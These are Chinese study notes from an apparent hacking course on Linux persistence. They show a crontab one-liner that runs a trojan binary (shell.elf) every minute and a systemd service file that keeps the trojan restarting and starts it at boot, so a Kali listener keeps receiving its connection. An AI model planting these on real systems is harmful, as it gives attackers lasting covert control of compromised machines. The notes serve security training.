计划任务
1:概念“定时任务调度程序 任务计划: :在Linux中称为cron任务
输入crontab -l 查看任务(列出当前用户已配置的所有定时任务) 既是命令也是文件
运行一下看看

这个已经切换过来了 这叫系统级的运行任务
之后输入cat /etc/crontab

这个就是系统编好的系统任务
“读取现有 crontab 规则 → 拼接新规则 → 覆盖回 crontab 配置”,最终实现不丢失原有定时任务、新增一条定时任务
#每分钟休眠 10 秒后执行 “/root/shell.elf” 的定时任务。 crontab -l | { cat ; echo "* * * * * sleep 10s ; 木马程序" ; } | crontab 这里括号前后可能都有空格 自己写的时候要注意

例如: crontab -l | { cat ; echo "* * * * * sleep 10s ; /root/shell.elf" ; } | crontab –
↑↑↑↑↑ ↑ ↑ ↑↑↑↑↑↑↑↑↑↑↑ ↑ ↑ ↑
{后空格 2. ;后空格 3. crontab内;加空格 4. 最后;后空格 5. }前空格
crontab -l (-1是查看下面还有 1 2 3 条任务的意思输出下一行命令)| { cat 查看的意思 ,去查看; (输出我自己的计划任务 echo "* * * * * sleep 10s ;) 木马程序" ; } 变成第四条| 进行下一步的拼接crontab 路径写绝对路径
如果想看也可以看

在这里 select-editor是编辑器让选择 我们的是 1. /bin/nano 选择1

进入到编计划任务的地方

这里就有语法格式 现在就自己写计划任务了
输入crontab -l | { cat ; echo "* * * * * sleep 10s ; /home/enjoy/shell.elf" ; } | crontab –
因为我们的是在/home/enjoy 所以要给它改一下

谁的计划任务 是root的计划任务
输入crontab -l

里就可以看到计划任务了
输入crontab -e

是不是就写进来了 第一个就是
之后我们进入到kali 运行一下木马程序

输入run跑一下 我这里好像是防火墙的事没有显示大概就是这个意思
之后就会显示 每分钟的运行任务这个就是用户及的计划任务
用户级计划任务:/var/spool/cron/crontabs/
如果是系统级的会多一个user 这个命令 谁来执行这个命令 命令就会变一下
输入crontab -e 编辑任务(新增、修改或删除当前用户的定时任务配置)。
2:之后就要定时的去编辑任务
*****命令/脚本路径
代表了分/时/日/月/周
***** 每分钟执行
5**** 每小时的第五分钟执行
(这些格式不用仔细的记可以问ai比如豆包里面问下这个计划用语怎么写它会回复你的) 在Linux中,每分钟执行/shell.elf
系统启动项

会开机自动启动 如果看ssh要怎么写
输入cat /etc/init.d/ssh

这个就讲这些 这是优点有没有什么缺点

8.系统服务
概念:受系统统一管控,常驻后台,提供特定功能后台程序
系统崩溃会自动修复 隐蔽性也很强 要看也是要 /etc/systemd/system 这个是服务的目录
输入
ls /etc/systemd/system

这里就会有这些 设置要怎么设置呢
Description 这个是描述的意思 =test 描述什么呢测试的意思
After 是以后的意思network 这个是网络 等网络启动以后.target 在来启动 这个.target
[Service] 服务的具体语法
Type 运行的意思=simple 运行=simple
ExecStart= 指向的意思 指向什么/shell.elf 文件木马 绝对路径 要用绝对路径
Restart重启 如果木马程序出现问题了always你给我一直重启
[Install] 安装的形式
1:输入nano /etc/systemd/system/test.service 这个文件要改/etc/systemd

之后输入
[Unit] Description=test After=network.target
[Service] Type=simple ExecStart=/home/enjoy/shell.elf Restart=always
[Install] WantedBy=multi-user.target

之后保存并退出
之后输入重新加载
输入systemctl daemon-reload

启动/停止服务: systemctl start test.service
systemctl stop test.service
我们是要启动的输入 systemctl start test.service

之后开机自启
输入systemctl enable test.service

之后查看状态
输入systemctl status test.service

之后我们回到kali 看下效果

之后就会监听到
要遵守网络安全法





